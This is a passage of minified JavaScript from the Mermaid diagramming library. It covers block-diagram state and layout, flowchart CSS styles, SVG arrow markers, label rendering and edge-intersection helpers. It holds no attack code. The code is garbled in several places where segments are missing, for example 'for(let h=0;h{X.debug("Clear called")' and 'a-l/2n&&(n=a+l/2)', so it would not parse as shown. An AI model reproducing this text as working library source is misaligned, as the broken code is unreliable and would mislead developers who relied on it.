61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,92,93,94,95,96,97,98,104],inclusive:!0}}};return T})();v.lexer=x;function b(){this.yy={}}return o(b,"Parser"),b.prototype=v,v.Parser=b,new b})();fz.parser=fz;ybe=fz});function cnt(t){switch(X.debug("typeStr2Type",t),t){case"[]":return"square";case"()":return X.debug("we have a round"),"round";case"(())":return"circle";case">]":return"rect_left_inv_arrow";case"{}":return"diamond";case"{{}}":return"hexagon";case"([])":return"stadium";case"[[]]":return"subroutine";case"[()]":return"cylinder";case"((()))":return"doublecircle";case"[//]":return"lean_right";case"[\\\\]":return"lean_left";case"[/\\]":return"trapezoid";case"[\\/]":return"inv_trapezoid";case"<[]>":return"block_arrow";default:return"na"}}function unt(t){switch(X.debug("typeStr2Type",t),t){case"==":return"thick";default:return"normal"}}function hnt(t){switch(t.replace(/^[\s-]+|[\s-]+$/g,"")){case"x":return"arrow_cross";case"o":return"arrow_circle";case">":return"arrow_point";default:return""}}var ql,pz,dz,xbe,bbe,rnt,wbe,nnt,DC,int,ant,snt,ont,kbe,mz,R4,lnt,Tbe,fnt,dnt,pnt,mnt,gnt,ynt,vnt,xnt,bnt,Tnt,wnt,Ebe,Sbe=N(()=>{"use strict";hR();qn();Xt();pt();gr();ci();ql=new Map,pz=[],dz=new Map,xbe="color",bbe="fill",rnt="bgFill",wbe=",",nnt=ge(),DC=new Map,int=o(t=>tt.sanitizeText(t,nnt),"sanitizeText"),ant=o(function(t,e=""){let r=DC.get(t);r||(r={id:t,styles:[],textStyles:[]},DC.set(t,r)),e?.split(wbe).forEach(n=>{let i=n.replace(/([^;]*);/,"$1").trim();if(RegExp(xbe).exec(n)){let s=i.replace(bbe,rnt).replace(xbe,bbe);r.textStyles.push(s)}r.styles.push(i)})},"addStyleClass"),snt=o(function(t,e=""){let r=ql.get(t);e!=null&&(r.styles=e.split(wbe))},"addStyle2Node"),ont=o(function(t,e){t.split(",").forEach(function(r){let n=ql.get(r);if(n===void 0){let i=r.trim();n={id:i,type:"na",children:[]},ql.set(i,n)}n.classes||(n.classes=[]),n.classes.push(e)})},"setCssClass"),kbe=o((t,e)=>{let r=t.flat(),n=[],a=r.find(s=>s?.type==="column-setting")?.columns??-1;for(let s of r){if(typeof a=="number"&&a>0&&s.type!=="column-setting"&&typeof s.widthInColumns=="number"&&s.widthInColumns>a&&X.warn(`Block ${s.id} width ${s.widthInColumns} exceeds configured column width ${a}`),s.label&&(s.label=int(s.label)),s.type==="classDef"){ant(s.id,s.css);continue}if(s.type==="applyClass"){ont(s.id,s?.styleClass??"");continue}if(s.type==="applyStyles"){s?.stylesStr&&snt(s.id,s?.stylesStr);continue}if(s.type==="column-setting")e.columns=s.columns??-1;else if(s.type==="edge"){let l=(dz.get(s.id)??0)+1;dz.set(s.id,l),s.id=l+"-"+s.id,pz.push(s)}else{s.label||(s.type==="composite"?s.label="":s.label=s.id);let l=ql.get(s.id);if(l===void 0?ql.set(s.id,s):(s.type!=="na"&&(l.type=s.type),s.label!==s.id&&(l.label=s.label)),s.children&&kbe(s.children,s),s.type==="space"){let u=s.width??1;for(let h=0;h{X.debug("Clear called"),Sr(),R4={id:"root",type:"composite",children:[],columns:-1},ql=new Map([["root",R4]]),mz=[],DC=new Map,pz=[],dz=new Map},"clear");o(cnt,"typeStr2Type");o(unt,"edgeTypeStr2Type");o(hnt,"edgeStrToEdgeData");Tbe=0,fnt=o(()=>(Tbe++,"id-"+Math.random().toString(36).substr(2,12)+"-"+Tbe),"generateId"),dnt=o(t=>{R4.children=t,kbe(t,R4),mz=R4.children},"setHierarchy"),pnt=o(t=>{let e=ql.get(t);return e?e.columns?e.columns:e.children?e.children.length:-1:-1},"getColumns"),mnt=o(()=>[...ql.values()],"getBlocksFlat"),gnt=o(()=>mz||[],"getBlocks"),ynt=o(()=>pz,"getEdges"),vnt=o(t=>ql.get(t),"getBlock"),xnt=o(t=>{ql.set(t.id,t)},"setBlock"),bnt=o(()=>X,"getLogger"),Tnt=o(function(){return DC},"getClasses"),wnt={getConfig:o(()=>Qt().block,"getConfig"),typeStr2Type:cnt,edgeTypeStr2Type:unt,edgeStrToEdgeData:hnt,getLogger:bnt,getBlocksFlat:mnt,getBlocks:gnt,getEdges:ynt,setHierarchy:dnt,getBlock:vnt,setBlock:xnt,getColumns:pnt,getClasses:Tnt,clear:lnt,generateId:fnt},Ebe=wnt});var LC,knt,Cbe,Abe=N(()=>{"use strict";eo();yg();LC=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),knt=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .cluster-label text { + fill: ${t.titleColor}; + } + .cluster-label span,p { + color: ${t.titleColor}; + } + + + + .label text,span,p { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + .flowchart-label text { + text-anchor: middle; + } + // .flowchart-label .text-outer-tspan { + // text-anchor: middle; + // } + // .flowchart-label .text-inner-tspan { + // text-anchor: start; + // } + + .node .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 2.0px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + + /* For html labels only */ + .labelBkg { + background-color: ${LC(t.edgeLabelBackground,.5)}; + // background-color: + } + + .node .cluster { + // fill: ${LC(t.mainBkg,.5)}; + fill: ${LC(t.clusterBkg,.5)}; + stroke: ${LC(t.clusterBorder,.2)}; + box-shadow: rgba(50, 50, 93, 0.25) 0px 13px 27px -5px, rgba(0, 0, 0, 0.3) 0px 8px 16px -8px; + stroke-width: 1px; + } + + .cluster text { + fill: ${t.titleColor}; + } + + .cluster span,p { + color: ${t.titleColor}; + } + /* .cluster div { + color: ${t.titleColor}; + } */ + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .flowchartTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } + ${zc()} +`,"getStyles"),Cbe=knt});var Ent,Snt,Cnt,Ant,_nt,Dnt,Lnt,Rnt,Nnt,Mnt,Int,_be,Dbe=N(()=>{"use strict";pt();Ent=o((t,e,r,n)=>{e.forEach(i=>{Int[i](t,r,n)})},"insertMarkers"),Snt=o((t,e,r)=>{X.trace("Making markers for ",r),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionStart").attr("class","marker extension "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 1,7 L18,13 V 1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-extensionEnd").attr("class","marker extension "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 1,1 V 13 L18,7 Z")},"extension"),Cnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionStart").attr("class","marker composition "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-compositionEnd").attr("class","marker composition "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"composition"),Ant=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationStart").attr("class","marker aggregation "+e).attr("refX",18).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-aggregationEnd").attr("class","marker aggregation "+e).attr("refX",1).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L1,7 L9,1 Z")},"aggregation"),_nt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyStart").attr("class","marker dependency "+e).attr("refX",6).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("path").attr("d","M 5,7 L9,13 L1,7 L9,1 Z"),t.append("defs").append("marker").attr("id",r+"_"+e+"-dependencyEnd").attr("class","marker dependency "+e).attr("refX",13).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"dependency"),Dnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopStart").attr("class","marker lollipop "+e).attr("refX",13).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6),t.append("defs").append("marker").attr("id",r+"_"+e+"-lollipopEnd").attr("class","marker lollipop "+e).attr("refX",1).attr("refY",7).attr("markerWidth",190).attr("markerHeight",240).attr("orient","auto").append("circle").attr("stroke","black").attr("fill","transparent").attr("cx",7).attr("cy",7).attr("r",6)},"lollipop"),Lnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-pointEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",6).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 0 L 10 5 L 0 10 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-pointStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",4.5).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 5 L 10 10 L 10 0 z").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"point"),Rnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-circleEnd").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",11).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-circleStart").attr("class","marker "+e).attr("viewBox","0 0 10 10").attr("refX",-1).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"circle"),Nnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-crossEnd").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",12).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-crossStart").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",-1).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0")},"cross"),Mnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-barbEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",14).attr("markerUnits","strokeWidth").attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"barb"),Int={extension:Snt,composition:Cnt,aggregation:Ant,dependency:_nt,lollipop:Dnt,point:Lnt,circle:Rnt,cross:Nnt,barb:Mnt},_be=Ent});function Ont(t,e){if(t===0||!Number.isInteger(t))throw new Error("Columns must be an integer !== 0.");if(e<0||!Number.isInteger(e))throw new Error("Position must be a non-negative integer."+e);if(t<0)return{px:e,py:0};if(t===1)return{px:0,py:e};let r=e%t,n=Math.floor(e/t);return{px:r,py:n}}function gz(t,e,r=0,n=0){X.debug("setBlockSizes abc95 (start)",t.id,t?.size?.x,"block width =",t?.size,"siblingWidth",r),t?.size?.width||(t.size={width:r,height:n,x:0,y:0});let i=0,a=0;if(t.children?.length>0){for(let m of t.children)gz(m,e);let s=Pnt(t);i=s.width,a=s.height,X.debug("setBlockSizes abc95 maxWidth of",t.id,":s children is ",i,a);for(let m of t.children)m.size&&(X.debug(`abc95 Setting size of children of ${t.id} id=${m.id} ${i} ${a} ${JSON.stringify(m.size)}`),m.size.width=i*(m.widthInColumns??1)+Ti*((m.widthInColumns??1)-1),m.size.height=a,m.size.x=0,m.size.y=0,X.debug(`abc95 updating size of ${t.id} children child:${m.id} maxWidth:${i} maxHeight:${a}`));for(let m of t.children)gz(m,e,i,a);let l=t.columns??-1,u=0;for(let m of t.children)u+=m.widthInColumns??1;let h=t.children.length;l>0&&l0?Math.min(t.children.length,l):t.children.length;if(m>0){let g=(d-m*Ti-Ti)/m;X.debug("abc95 (growing to fit) width",t.id,d,t.size?.width,g);for(let y of t.children)y.size&&(y.size.width=g)}}t.size={width:d,height:p,x:0,y:0}}X.debug("setBlockSizes abc94 (done)",t.id,t?.size?.x,t?.size?.width,t?.size?.y,t?.size?.height)}function Lbe(t,e){X.debug(`abc85 layout blocks (=>layoutBlocks) ${t.id} x: ${t?.size?.x} y: ${t?.size?.y} width: ${t?.size?.width}`);let r=t.columns??-1;if(X.debug("layoutBlocks columns abc95",t.id,"=>",r,t),t.children&&t.children.length>0){let n=t?.children[0]?.size?.width??0,i=t.children.length*n+(t.children.length-1)*Ti;X.debug("widthOfChildren 88",i,"posX");let a=0;X.debug("abc91 block?.size?.x",t.id,t?.size?.x);let s=t?.size?.x?t?.size?.x+(-t?.size?.width/2||0):-Ti,l=0;for(let u of t.children){let h=t;if(!u.size)continue;let{width:f,height:d}=u.size,{px:p,py:m}=Ont(r,a);if(m!=l&&(l=m,s=t?.size?.x?t?.size?.x+(-t?.size?.width/2||0):-Ti,X.debug("New row in layout for block",t.id," and child ",u.id,l)),X.debug(`abc89 layout blocks (child) id: ${u.id} Pos: ${a} (px, py) ${p},${m} (${h?.size?.x},${h?.size?.y}) parent: ${h.id} width: ${f}${Ti}`),h.size){let y=f/2;u.size.x=s+Ti+y,X.debug(`abc91 layout blocks (calc) px, pyid:${u.id} startingPos=X${s} new startingPosX${u.size.x} ${y} padding=${Ti} width=${f} halfWidth=${y} => x:${u.size.x} y:${u.size.y} ${u.widthInColumns} (width * (child?.w || 1)) / 2 ${f*(u?.widthInColumns??1)/2}`),s=u.size.x+y,u.size.y=h.size.y-h.size.height/2+m*(d+Ti)+d/2+Ti,X.debug(`abc88 layout blocks (calc) px, pyid:${u.id}startingPosX${s}${Ti}${y}=>x:${u.size.x}y:${u.size.y}${u.widthInColumns}(width * (child?.w || 1)) / 2${f*(u?.widthInColumns??1)/2}`)}u.children&&Lbe(u,e);let g=u?.widthInColumns??1;r>0&&(g=Math.min(g,r-a%r)),a+=g,X.debug("abc88 columnsPos",u,a)}}X.debug(`layout blocks (<==layoutBlocks) ${t.id} x: ${t?.size?.x} y: ${t?.size?.y} width: ${t?.size?.width}`)}function Rbe(t,{minX:e,minY:r,maxX:n,maxY:i}={minX:0,minY:0,maxX:0,maxY:0}){if(t.size&&t.id!=="root"){let{x:a,y:s,width:l,height:u}=t.size;a-l/2n&&(n=a+l/2),s+u/2>i&&(i=s+u/2)}if(t.children)for(let a of t.children)({minX:e,minY:r,maxX:n,maxY:i}=Rbe(a,{minX:e,minY:r,maxX:n,maxY:i}));return{minX:e,minY:r,maxX:n,maxY:i}}function Nbe(t){let e=t.getBlock("root");if(!e)return;gz(e,t,0,0),Lbe(e,t),X.debug("getBlocks",JSON.stringify(e,null,2));let{minX:r,minY:n,maxX:i,maxY:a}=Rbe(e),s=a-n,l=i-r;return{x:r,y:n,width:l,height:s}}var Ti,Pnt,Mbe=N(()=>{"use strict";pt();Xt();Ti=ge()?.block?.padding??8;o(Ont,"calculateBlockPosition");Pnt=o(t=>{let e=0,r=0;for(let n of t.children){let{width:i,height:a,x:s,y:l}=n.size??{width:0,height:0,x:0,y:0};X.debug("getMaxChildSize abc95 child:",n.id,"width:",i,"height:",a,"x:",s,"y:",l,n.type),n.type!=="space"&&(i>e&&(e=i/(t.widthInColumns??1)),a>r&&(r=a))}return{width:e,height:r}},"getMaxChildSize");o(gz,"setBlockSizes");o(Lbe,"layoutBlocks");o(Rbe,"findBounds");o(Nbe,"layout")});function Ibe(t,e){e&&t.attr("style",e)}function Bnt(t,e){let r=qe(document.createElementNS("http://www.w3.org/2000/svg","foreignObject")),n=r.append("xhtml:div"),i=t.label,a=t.isNode?"nodeLabel":"edgeLabel",s=n.append("span");return s.html(sr(i,e)),Ibe(s,t.labelStyle),s.attr("class",a),Ibe(n,t.labelStyle),n.style("display","inline-block"),n.style("white-space","nowrap"),n.attr("xmlns","http://www.w3.org/1999/xhtml"),r.node()}var Fnt,ks,RC=N(()=>{"use strict";yr();Xt();gr();pt();zo();tr();o(Ibe,"applyStyle");o(Bnt,"addHtmlLabel");Fnt=o(async(t,e,r,n)=>{let i=t||"";typeof i=="object"&&(i=i[0]);let a=ge();if(vr(a.flowchart.htmlLabels)){i=i.replace(/\\n|\n/g,"
    "),X.debug("vertexText"+i);let s=await k9(Ji(i)),l={isNode:n,label:s,labelStyle:e.replace("fill:","color:")};return Bnt(l,a)}else{let s=document.createElementNS("http://www.w3.org/2000/svg","text");s.setAttribute("style",e.replace("color:","fill:"));let l=[];typeof i=="string"?l=i.split(/\\n|\n|/gi):Array.isArray(i)?l=i:l=[];for(let u of l){let h=document.createElementNS("http://www.w3.org/2000/svg","tspan");h.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),h.setAttribute("dy","1em"),h.setAttribute("x","0"),r?h.setAttribute("class","title-row"):h.setAttribute("class","row"),h.textContent=u.trim(),s.appendChild(h)}return s}},"createLabel"),ks=Fnt});var Pbe,$nt,Obe,Bbe=N(()=>{"use strict";pt();Pbe=o((t,e,r,n,i)=>{e.arrowTypeStart&&Obe(t,"start",e.arrowTypeStart,r,n,i),e.arrowTypeEnd&&Obe(t,"end",e.arrowTypeEnd,r,n,i)},"addEdgeMarkers"),$nt={arrow_cross:"cross",arrow_point:"point",arrow_barb:"barb",arrow_circle:"circle",aggregation:"aggregation",extension:"extension",composition:"composition",dependency:"dependency",lollipop:"lollipop"},Obe=o((t,e,r,n,i,a)=>{let s=$nt[r];if(!s){X.warn(`Unknown arrow type: ${r}`);return}let l=e==="start"?"Start":"End";t.attr(`marker-${e}`,`url(${n}#${i}_${a}-${s}${l})`)},"addEdgeMarker")});function NC(t,e){ge().flowchart.htmlLabels&&t&&(t.style.width=e.length*9+"px",t.style.height="12px")}var yz,Wa,$be,zbe,znt,Gnt,Fbe,Gbe,Vbe=N(()=>{"use strict";pt();RC();zo();yr();Xt();tr();gr();X9();O2();Bbe();yz={},Wa={},$be=o(async(t,e)=>{let r=ge(),n=vr(r.flowchart.htmlLabels),i=e.labelType==="markdown"?di(t,e.label,{style:e.labelStyle,useHtmlLabels:n,addSvgBackground:!0},r):await ks(e.label,e.labelStyle),a=t.insert("g").attr("class","edgeLabel"),s=a.insert("g").attr("class","label");s.node().appendChild(i);let l=i.getBBox();if(n){let h=i.children[0],f=qe(i);l=h.getBoundingClientRect(),f.attr("width",l.width),f.attr("height",l.height)}s.attr("transform","translate("+-l.width/2+", "+-l.height/2+")"),yz[e.id]=a,e.width=l.width,e.height=l.height;let u;if(e.startLabelLeft){let h=await ks(e.startLabelLeft,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].startLeft=f,NC(u,e.startLabelLeft)}if(e.startLabelRight){let h=await ks(e.startLabelRight,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=f.node().appendChild(h),d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].startRight=f,NC(u,e.startLabelRight)}if(e.endLabelLeft){let h=await ks(e.endLabelLeft,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].endLeft=f,NC(u,e.endLabelLeft)}if(e.endLabelRight){let h=await ks(e.endLabelRight,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].endRight=f,NC(u,e.endLabelRight)}return i},"insertEdgeLabel");o(NC,"setTerminalWidth");zbe=o((t,e)=>{X.debug("Moving label abc88 ",t.id,t.label,yz[t.id],e);let r=e.updatedPath?e.updatedPath:e.originalPath,n=ge(),{subGraphTitleTotalMargin:i}=Pu(n);if(t.label){let a=yz[t.id],s=t.x,l=t.y;if(r){let u=qt.calcLabelPosition(r);X.debug("Moving label "+t.label+" from (",s,",",l,") to (",u.x,",",u.y,") abc88"),e.updatedPath&&(s=u.x,l=u.y)}a.attr("transform",`translate(${s}, ${l+i/2})`)}if(t.startLabelLeft){let a=Wa[t.id].startLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.startLabelRight){let a=Wa[t.id].startRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelLeft){let a=Wa[t.id].endLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelRight){let a=Wa[t.id].endRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}},"positionEdgeLabel"),znt=o((t,e)=>{let r=t.x,n=t.y,i=Math.abs(e.x-r),a=Math.abs(e.y-n),s=t.width/2,l=t.height/2;return i>=s||a>=l},"outsideNode"),Gnt=o((t,e,r)=>{X.debug(`intersection calc abc89: + outsidePoint: ${JSON.stringify(e)} + insidePoint : ${JSON.stringify(r)} + node : x:${t.x} y:${t.y} w:${t.width} h:${t.height}`);let n=t.x,i=t.y,a=Math.abs(n-r.x),s=t.width/2,l=r.xMath.abs(n-e.x)*u){let d=r.y{X.debug("abc88 cutPathAtIntersect",t,e);let r=[],n=t[0],i=!1;return t.forEach(a=>{if(!znt(e,a)&&!i){let s=Gnt(e,n,a),l=!1;r.forEach(u=>{l=l||u.x===s.x&&u.y===s.y}),r.some(u=>u.x===s.x&&u.y===s.y)||r.push(s),i=!0}else n=a,i||r.push(a)}),r},"cutPathAtIntersect"),Gbe=o(function(t,e,r,n,i,a,s){let l=r.points;X.debug("abc88 InsertEdge: edge=",r,"e=",e);let u=!1,h=a.node(e.v);var f=a.node(e.w);f?.intersect&&h?.intersect&&(l=l.slice(1,r.points.length-1),l.unshift(h.intersect(l[0])),l.push(f.intersect(l[l.length-1]))),r.toCluster&&(X.debug("to cluster abc88",n[r.toCluster]),l=Fbe(r.points,n[r.toCluster].node),u=!0),r.fromCluster&&(X.debug("from cluster abc88",n[r.fromCluster]),l=Fbe(l.reverse(),n[r.fromCluster].node).reverse(),u=!0);let d=l.filter(S=>!Number.isNaN(S.y)),p=No;r.curve&&(i==="graph"||i==="flowchart")&&(p=r.curve);let{x:m,y:g}=hw(r),y=Cl().x(m).y(g).curve(p),v;switch(r.thickness){case"normal":v="edge-thickness-normal";break;case"thick":v="edge-thickness-thick";break;case"invisible":v="edge-thickness-thick";break;default:v=""}switch(r.pattern){case"solid":v+=" edge-pattern-solid";break;case"dotted":v+=" edge-pattern-dotted";break;case"dashed":v+=" edge-pattern-dashed";break}let x=t.append("path").attr("d",y(d)).attr("id",r.id).attr("class"," "+v+(r.classes?" "+r.classes:"")).attr("style",r.style),b="";(ge().flowchart.arrowMarkerAbsolute||ge().state.arrowMarkerAbsolute)&&(b=md(!0)),Pbe(x,r,b,s,i);let T={};return u&&(T.updatedPath=l),T.originalPath=r.points,T},"insertEdge")});var Vnt,Ube,Hbe=N(()=>{"use strict";Vnt=o(t=>{let e=new Set;for(let r of t)switch(r){case"x":e.add("right"),e.add("left");break;case"y":e.add("up"),e.add("down");break;default:e.add(r);break}return e},"expandAndDeduplicateDirections"),Ube=o((t,e,r)=>{let n=Vnt(t),i=2,a=e.height+2*r.padding,s=a/i,l=e.width+2*s+r.padding,u=r.padding/2;return n.has("right")&&n.has("left")&&n.has("up")&&n.has("down")?[{x:0,y:0},{x:s,y:0},{x:l/2,y:2*u},{x:l-s,y:0},{x:l,y:0},{x:l,y:-a/3},{x:l+2*u,y:-a/2},{x:l,y:-2*a/3},{x:l,y:-a},{x:l-s,y:-a},{x:l/2,y:-a-2*u},{x:s,y:-a},{x:0,y:-a},{x:0,y:-2*a/3},{x:-2*u,y:-a/2},{x:0,y:-a/3}]:n.has("right")&&n.has("left")&&n.has("up")?[{x:s,y:0},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:s,y:-a},{x:0,y:-a/2}]:n.has("right")&&n.has("left")&&n.has("down")?[{x:0,y:0},{x:s,y:-a},{x:l-s,y:-a},{x:l,y:0}]:n.has("right")&&n.has("up")&&n.has("down")?[{x:0,y:0},{x:l,y:-s},{x:l,y:-a+s},{x:0,y:-a}]:n.has("left")&&n.has("up")&&n.has("down")?[{x:l,y:0},{x:0,y:-s},{x:0,y:-a+s},{x:l,y:-a}]:n.has("right")&&n.has("left")?[{x:s,y:0},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a},{x:0,y:-a/2}]:n.has("up")&&n.has("down")?[{x:l/2,y:0},{x:0,y:-u},{x:s,y:-u},{x:s,y:-a+u},{x:0,y:-a+u},{x:l/2,y:-a},{x:l,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u},{x:l,y:-u}]:n.has("right")&&n.has("up")?[{x:0,y:0},{x:l,y:-s},{x:0,y:-a}]:n.has("right")&&n.has("down")?[{x:0,y:0},{x:l,y:0},{x:0,y:-a}]:n.has("left")&&n.has("up")?[{x:l,y:0},{x:0,y:-s},{x:l,y:-a}]:n.has("left")&&n.has("down")?[{x:l,y:0},{x:0,y:0},{x:l,y:-a}]:n.has("right")?[{x:s,y:-u},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a+u}]:n.has("left")?[{x:s,y:0},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a},{x:0,y:-a/2}]:n.has("up")?[{x:s,y:-u},{x:s,y:-a+u},{x:0,y:-a+u},{x:l/2,y:-a},{x:l,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u}]:n.has("down")?[{x:l/2,y:0},{x:0,y:-u},{x:s,y:-u},{x:s,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u},{x:l,y:-u}]:[{x:0,y:0}]},"getArrowPoints")});function Unt(t,e){return t.intersect(e)}var qbe,Wbe=N(()=>{"use strict";o(Unt,"intersectNode");qbe=Unt});function Hnt(t,e,r,n){var i=t.x,a=t.y,s=i-n.x,l=a-n.y,u=Math.sqrt(e*e*l*l+r*r*s*s),h=Math.abs(e*r*s/u);n.x{"use strict";o(Hnt,"intersectEllipse");MC=Hnt});function qnt(t,e,r){return MC(t,e,e,r)}var Ybe,Xbe=N(()=>{"use strict";vz();o(qnt,"intersectCircle");Ybe=qnt});function Wnt(t,e,r,n){var 